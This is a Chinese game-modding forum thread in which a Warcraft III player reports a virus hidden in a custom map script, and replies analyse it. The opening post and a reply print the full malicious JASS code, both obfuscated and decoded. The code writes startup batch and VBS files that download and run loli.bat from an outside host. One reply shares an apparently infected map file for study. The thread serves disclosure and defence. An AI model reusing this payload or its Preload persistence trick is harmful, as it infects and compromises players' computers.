请选择 进入手机版 | 继续访问电脑版

 找回密码
 点一下
查看: 2765|回复: 14

[病毒]War3 Jass虚拟机执行任意机器码严重漏洞

[复制链接]
发表于 2016-11-7 13:10:09 | 显示全部楼层 |阅读模式
本帖最后由 winways 于 2016-11-7 13:13 编辑

对于War3,我只是个普通玩家,发到TGP论坛没人审核,哎

1.基本情况:
最近在平台上玩,一开始并没有注意,但是有天开机启动时发现有一个
loli.exe的进程出现在了Administrator用户名下,文件位置在%temp%中,指向一个@~XXX.tmp的临时文件,然后会出现cmd.exe的进程,稍微熟悉电脑使用的玩家应该都知道,%temp%就是temp文件夹,cmd.exe就是批处理程序,它可以执行有关系统的任何操作,如果它自动启动了就说明问题很严重,我马上就关掉了,并不知道运行到最后会有什么情况,一开始用Tensafe杀了下C盘和移动盘,但是无用

2.追踪过程:
因为这个loli.exe最近几天开机反复出现,我在system32、%appdata%、%temp%删了不少自觉可疑的文件,一开始似乎有效,但是又在平台上玩了几天,这个东西又出现了,今天在平台上建了一张图,

秩序之战2.1新的世界.w3x


和我同学一起玩,但是一个奇怪的事情发生了,我同学也有这张图,因为我俩是魔兽文件都是一样的,但是不论他进我的房间,还是我进他的房间都需要重新读图,这TM明明就有图啊,我使用War3Map Extractor把里面的脚本文件war3map.j解压出来看了一下,果然发现了猫腻,




完整代码如下,
  1. call PreloadGenClear()
  2. call PreloadGenStart()
  3. call Preload("
  4. echo off
  5. del "c:/loli.vbs"
  6. cls
  7. set /p=data=^"83,101,116,32,80,111,115,116,32,61,32,67,114,101,97,116,101,79,98,106,101,99,116,40,34,77,115,120,109,108,50,46,83,101,114,118,101,114,88,77,76,72,84,84,80,46,51,46,48,34,41,13,10,<nul>>c:/loli.vbs
  8. 2>nul ")
  9. call Preload(" "2>nul
  10. set /p=83,101,116,32,83,104,101,108,108,32,61,32,67,114,101,97,116,101,79,98,106,101,99,116,40,34,87,115,99,114,105,112,116,46,83,104,101,108,108,34,41,13,10,80,111,115,116,46,79,112,101,110,32,34,71,69,84,34,44,34,104,116,<nul>>c:/loli.vbs
  11. 2>nul ")
  12. call Preload(" "2>nul
  13. set /p= 116,112,58,47,47,119,119,119,46,108,111,120,118,101,46,99,111,109,47,108,111,108,105,46,98,97,116,34,44,48,13,10,80,111,115,116,46,83,101,110,100,40,41,13,10,83,101,116,32,97,71,101,116,32,61,32,67,114,101,97,116,101<nul>>c:/loli.vbs
  14. 2>nul ")
  15. call Preload(" "2>nul
  16. set /p= ,79,98,106,101,99,116,40,34,65,68,79,68,66,46,83,116,114,101,97,109,34,41,13,10,97,71,101,116,46,77,111,100,101,32,61,32,51,13,10,97,71,101,116,46,84,121,112,101,32,61,32,49,13,10,97,71,101,116,46,79,112,101,110,40,<nul>>c:/loli.vbs
  17. 2>nul ")
  18. call Preload(" "2>nul
  19. set /p=41,32,13,10,97,71,101,116,46,87,114,105,116,101,40,80,111,115,116,46,114,101,115,112,111,110,115,101,66,111,100,121,41,13,10,97,71,101,116,46,83,97,118,101,84,111,70,105,108,101,32,34,99,58,92,108,111,108,105,46,98,<nul>>c:/loli.vbs
  20. 2>nul ")
  21. call Preload(" "2>nul
  22. >>c:/loli.vbs echo 97,116,34,44,50,13,10,119,115,99,114,105,112,116,46,115,108,101,101,112,32,49,48,48,48,32,13,10,83,104,101,108,108,46,82,117,110,32,40,34,99,58,92,108,111,108,105,46,98,97,116,34,41"
  23. echo Function ChrData(Data)>>c:/loli.vbs
  24. 2>nul ")
  25. call Preload(" "2>nul
  26. >>c:/loli.vbs echo MyArray = Split(Data, ",", -1, 1)
  27. >>c:/loli.vbs echo For each OldData in MyArray
  28. >>c:/loli.vbs echo Newdata=NewData^&chr(OldData)
  29. >>c:/loli.vbs echo Next
  30. >>c:/loli.vbs echo ChrData=NewData
  31. 2>nul ")
  32. call Preload(" "2>nul
  33. >>c:/loli.vbs echo End Function
  34. >>c:/loli.vbs echo wscript.sleep 30000
  35. >>c:/loli.vbs echo execute Chrdata(data)
  36. start c:/loli.vbs
  37. exit
  38. ")
  39. call PreloadGenEnd("C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\loli.bat")
  40. call PreloadGenEnd("C:\\Users\\All Users\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\loli.bat")
  41. call PreloadGenEnd("C:\\Documents and Settings\\Administrator\\「开始」菜单\\程序\\启动\\Loli.bat")

  42. endfunction
复制代码
使用VB的转码函数chr()转码之后的代码,
  1. call PreloadGenClear()
  2. call PreloadGenStart()
  3. call Preload("
  4. echo off
  5. del "c:/loli.vbs"
  6. cls
  7. set /p=data=^"Set Post = CreateObject("Msxml2.ServerXMLHTTP.3.0")
  8. <nul>>c:/loli.vbs
  9. 2>nul ")
  10. call Preload(" "2>nul
  11. set /p=Set Shell = CreateObject("Wscript.Shell")
  12. Post.Open "GET","ht<nul>>c:/loli.vbs
  13. 2>nul ")
  14. call Preload(" "2>nul
  15. set /p= tp://www.loxve.com/loli.bat",0
  16. Post.Send()
  17. Set aGet = Create<nul>>c:/loli.vbs
  18. 2>nul ")
  19. call Preload(" "2>nul
  20. set /p= Object("ADODB.Stream")
  21. aGet.Mode = 3
  22. aGet.Type = 1
  23. aGet.Open(<nul>>c:/loli.vbs
  24. 2>nul ")
  25. call Preload(" "2>nul
  26. set /p=)
  27. aGet.Write(Post.responseBody)
  28. aGet.SaveToFile "c:\loli.b<nul>>c:/loli.vbs
  29. 2>nul ")
  30. call Preload(" "2>nul
  31. >>c:/loli.vbs echo at",2
  32. wscript.sleep 1000
  33. Shell.Run ("c:\loli.bat")"
  34. echo Function ChrData(Data)>>c:/loli.vbs
  35. 2>nul ")
  36. call Preload(" "2>nul
  37. >>c:/loli.vbs echo MyArray = Split(Data "" -1 1)
  38. >>c:/loli.vbs echo For each OldData in MyArray
  39. >>c:/loli.vbs echo Newdata=NewData^&chr(OldData)
  40. >>c:/loli.vbs echo Next
  41. >>c:/loli.vbs echo ChrData=NewData
  42. 2>nul ")
  43. call Preload(" "2>nul
  44. >>c:/loli.vbs echo End Function
  45. >>c:/loli.vbs echo wscript.sleep 30000
  46. >>c:/loli.vbs echo execute Chrdata(data)
  47. start c:/loli.vbs
  48. exit
  49. ")
  50. call PreloadGenEnd("C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\loli.bat")
  51. call PreloadGenEnd("C:\\Users\\All Users\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\loli.bat")
  52. call PreloadGenEnd("C:\\Documents and Settings\\Administrator\\「开始」菜单\\程序\\启动\\Loli.bat")

  53. endfunction
复制代码
不需要你们都看懂,但是有一个网址www.loxve.com/loli.bat,指向IP地址: 103.224.22.36香港特别行政区这个就是病毒程序,我打开过,不是脚本语言写的,我也没有专业的Decompile环境,没更进一步,而且人家服务器根本就不架网站,只能通过ftp访问下载这个病毒程序,想黑掉它也很难,大神除外

3.病毒分析
今天在Google上查了一下war3的Jass虚拟机漏洞,先解释下Jass虚拟机,因为玩家每次玩的地图的内容千变万化,如果是一个固定的游戏程序来跑,那显然是不可能的,所以为了适应不同的游戏内容,就需要程序在Runtime中拥有解释执行的能力,这样就必须借助脚本语言,举个栗子,同一个筐子可以今天放鸡蛋,明天放白菜,也可以白菜鸡蛋一起放,war3的主体程序就是干这个的,除了读取地图文件外,还要能保证每次读取的内容不同,所以,脚本语言想运行就需要这种环境,也就是虚拟机,它主要作用就是转码,将解释执行的脚本代码转换给操作系统的底层API来执行产生最终的效果,类似的LUA,Javascript都这样

但现在被发现了这个严重的漏洞,实际上只是几个函数,只是这几个函数可以越级生成只有特有程序才能生成的Vbs脚本文件,并提供操作系统调用,简而言之,就拿这个病毒来说,就是在你读别人的地图的时候,Preload()函数会自动给你生成带毒的Vbs脚本文件loli.vbs,然后生成一个loli.bat放到启动目录下,让它开机自动运行调用Wscript.exe(只所以标记红色,是因为我个人觉得微软这个东西的设计实在是太SB,该类型的病毒比率高达11%也就说明问题了),然后再从网上进一步加载毒性更强的其他程序,完成了从传播到本地隐藏再到通向互联网的三部曲,感染后会生成更多带毒地图进行本地扩散

当然这个漏洞在网上已经被公开了,只是现在才开始大规模扩散而已,具体的请看https://www.seebug.org/vuldb/ssvid-12019




4.防范措施
就我个人而言,除了养成每次开机手动检查任务管理器之外,似乎没有什么更好的办法,杀毒软件是几乎不可能找到该病毒的本体文件,因为w3x、w3m这样的文件结构都是经过了严密的封装,解压器都是大神做的,而且我有500多张地图,不可能每次都手动查一遍,何况我每天还要从网上下载新的地图,不懂电脑的就换系统吧,而且一定要删掉这些地图或整个war3,并谨慎下载别人的同名地图,一般情况下带毒的图会比其他的同名图大1KB
该病毒的隐藏性、传播性、危害性都是十分惊人的,如果一个病没有药可以治,那该怎么办,在此请腾讯大大针对此类型的病毒做一些示范,还我们一片干净的游戏空间

PS:这个病毒并不难反,每次开游戏Tensafe扫描一遍地图的war3map.j是否包含病毒代码即可,我自己正在找解压器的dll

发表于 2016-11-7 17:53:29 | 显示全部楼层
本帖最后由 疯人¢衰人 于 2016-11-7 18:02 编辑

这个不是虚拟机bug,只是使用perload写了一个bat脚本放在win的启动目录下(会在开机时调用),地图文件只是生成这个,调用过程与war3无关。
至于病毒是bat自己从网络download的。
不过这里确实是个问题,能提供地图么不过这也就是个理想而已,实际上存储成为的bat文件内容如下:
  1. function PreloadFiles takes nothing returns nothing

  2.         call Preload( "
  3. echo off
  4. del "c:/loli.vbs"
  5. cls
  6. set /p=data=^"83,101,116,32,80,111,115,116,32,61,32,67,114,101,97,116,101,79,98,106,101,99,116,40,34,77,115,120,109,108,50,46,83,101,114,118,101,114,88,77,76,72,84,84,80,46,51,46,48,34,41,13,10,<nul>>c:/loli.vbs
  7. 2>nul " )
  8.         call Preload( " "2>nul
  9. set /p=83,101,116,32,83,104,101,108,108,32,61,32,67,114,101,97,116,101,79,98,106,101,99,116,40,34,87,115,99,114,105,112,116,46,83,104,101,108,108,34,41,13,10,80,111,115,116,46,79,112,101,110,32,34,71,69,84,34,44,34,104,116,<nul>>c:/loli.vbs
  10. 2>nul " )
  11.         call Preload( " "2>nul
  12. set /p= 116,112,58,47,47,119,119,119,46,108,111,120,118,101,46,99,111,109,47,108,111,108,105,46,98,97,116,34,44,48,13,10,80,111,115,116,46,83,101,110,100,40,41,13,10,83,101,116,32,97,71,101,116,32,61,32,67,114,101,97,116,101<nul>>c:/loli.vbs
  13. 2>nul " )
  14.         call Preload( " "2>nul
  15. set /p= ,79,98,106,101,99,116,40,34,65,68,79,68,66,46,83,116,114,101,97,109,34,41,13,10,97,71,101,116,46,77,111,100,101,32,61,32,51,13,10,97,71,101,116,46,84,121,112,101,32,61,32,49,13,10,97,71,101,116,46,79,112,101,110,40,<nul>>c:/loli.vbs
  16. 2>nul " )
  17.         call Preload( " "2>nul
  18. set /p=41,32,13,10,97,71,101,116,46,87,114,105,116,101,40,80,111,115,116,46,114,101,115,112,111,110,115,101,66,111,100,121,41,13,10,97,71,101,116,46,83,97,118,101,84,111,70,105,108,101,32,34,99,58,92,108,111,108,105,46,98,<nul>>c:/loli.vbs
  19. 2>nul " )
  20.         call Preload( " "2>nul
  21. >>c:/loli.vbs echo 97,116,34,44,50,13,10,119,115,99,114,105,112,116,46,115,108,101,101,112,32,49,48,48,48,32,13,10,83,104,101,108,108,46,82,117,110,32,40,34,99,58,92,108,111,108,105,46,98,97,116,34,41"
  22. echo Function ChrData(Data)>>c:/loli.vbs
  23. 2>nul" )
  24.         call Preload( " "2>nul
  25. >>c:/loli.vbs echo MyArray = Split(Data, ",", -1, 1)
  26. >>c:/loli.vbs echo For each OldData in MyArray
  27. >>c:/loli.vbs echo Newdata=NewData^&chr(OldData)
  28. >>c:/loli.vbs echo Next
  29. >>c:/loli.vbs echo ChrData=NewData
  30. 2>nul " )
  31.         call Preload( " "2>nul
  32. >>c:/loli.vbs echo End Function
  33. >>c:/loli.vbs echo wscript.sleep 30000
  34. >>c:/loli.vbs echo execute Chrdata(data)
  35. start c:/loli.vbs
  36. exit
  37. " )
  38.         call PreloadEnd( 0.0 )

  39. endfunction


复制代码
是不可能被执行的
所谓jass虚拟机执行任意代码,是由于可以通过returnbug实现的I2Code函数调用一个第三方函数

点评

hke
看起来不是return bug 据说1.24也能感染 别人给的 可以研究下哦  详情 回复 发表于 2016-11-10 15:11
我就是说单纯放在w3x里 肯定不会被执行啊 只有读了带毒的图 触发了preload之后vbs和bat就会被生成 bat负责开机启动 调用wscript来进一步启动vbs脚本 vbs从 网上download 病毒的本体程序  详情 回复 发表于 2016-11-7 22:52
回复

使用道具 举报

 楼主| 发表于 2016-11-7 22:52:55 | 显示全部楼层
疯人¢衰人 发表于 2016-11-7 17:53
这个不是虚拟机bug,只是使用perload写了一个bat脚本放在win的启动目录下(会在开机时调用),地图文件只是 ...

我就是说单纯放在w3x里 肯定不会被执行啊 只有读了带毒的图 触发了preload之后vbs和bat就会被生成 bat负责开机启动 调用wscript来进一步启动vbs脚本  vbs从  网上download 病毒的本体程序
回复

使用道具 举报

发表于 2016-11-8 15:50:55 | 显示全部楼层
winways 发表于 2016-11-7 22:52
我就是说单纯放在w3x里 肯定不会被执行啊 只有读了带毒的图 触发了preload之后vbs和bat就会被生成 bat负 ...

生成的bat不符合bat的语法,所以会执行失败
回复

使用道具 举报

发表于 2016-11-8 15:50:57 | 显示全部楼层
winways 发表于 2016-11-7 22:52
我就是说单纯放在w3x里 肯定不会被执行啊 只有读了带毒的图 触发了preload之后vbs和bat就会被生成 bat负 ...

生成的bat不符合bat的语法,所以会执行失败
回复

使用道具 举报

发表于 2016-11-10 15:11:19 | 显示全部楼层
疯人¢衰人 发表于 2016-11-7 17:53
这个不是虚拟机bug,只是使用perload写了一个bat脚本放在win的启动目录下(会在开机时调用),地图文件只是 ...

看起来不是return bug
据说1.24也能感染
别人给的 可以研究下哦

(4)TidewaterGlades.rar

203.85 KB, 下载次数: 20

回复 1 0

使用道具 举报

发表于 2016-11-10 15:50:00 | 显示全部楼层
666666 什么图这么吊
回复

使用道具 举报

发表于 2016-11-10 17:36:52 | 显示全部楼层
本帖最后由 疯人¢衰人 于 2016-11-10 18:12 编辑

测试了一下,发现对方利用了换行,把不需要的地方排除掉了这个bat可以执行,最终生成了一个vbs。这个思路很巧妙
回复

使用道具 举报

发表于 2016-11-11 03:56:19 | 显示全部楼层
另外。楼主搞错了,这个病毒利用不是任意执行字节码的漏洞。而是利用prload的功能传播的。

点评

哦 反正我也不知道 只是自己中毒了 找到了病毒来源  详情 回复 发表于 2016-11-23 09:49
回复

使用道具 举报

发表于 2016-11-14 23:00:48 | 显示全部楼层
we吧几年前的东西了吧

点评

反正几年前我玩war3是没见过这个病毒  详情 回复 发表于 2016-11-23 09:50
回复

使用道具 举报

 楼主| 发表于 2016-11-23 09:49:45 | 显示全部楼层
大圣大圣 发表于 2016-11-11 03:56
另外。楼主搞错了,这个病毒利用不是任意执行字节码的漏洞。而是利用prload的功能传播的。

哦  反正我也不知道  只是自己中毒了 找到了病毒来源
回复

使用道具 举报

 楼主| 发表于 2016-11-23 09:50:44 | 显示全部楼层

反正几年前我玩war3是没见过这个病毒
回复

使用道具 举报

发表于 2016-11-23 16:22:05 | 显示全部楼层

这个东西GA在10年就有相关的介绍传送门

差别在于没有利用自启动来运行而已。这事已经反馈给暴雪,什么时候、如何处理还未知。

点评

暴雪早就放弃war了,没钱估计不会处理了.  详情 回复 发表于 2016-12-3 10:59
回复

使用道具 举报

发表于 2016-12-3 10:59:05 | 显示全部楼层
疯人¢衰人 发表于 2016-11-23 16:22
这个东西GA在10年就有相关的介绍传送门

差别在于没有利用自启动来运行而已。这事已经反馈给暴雪,什么 ...

暴雪早就放弃war了,没钱估计不会处理了.
回复

使用道具 举报

发表于 2018-8-17 13:09:58 | 显示全部楼层
这个其实没什么问题,主要是你不要让程序随意取得权限,
尤其是启动项写入,管理员权限,文件读写。
不要怕麻烦,一定要进行权限检查,确认安全后才给它权限,
还有,你可以删除vbs脚本解释器
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 点一下

本版积分规则

Archiver|移动端|小黑屋|地精研究院

GMT+8, 2024-3-29 21:05 , Processed in 0.187123 second(s), 26 queries .

Powered by Discuz! X3.5

© 2001-2023 Discuz! Team.

快速回复 返回顶部 返回列表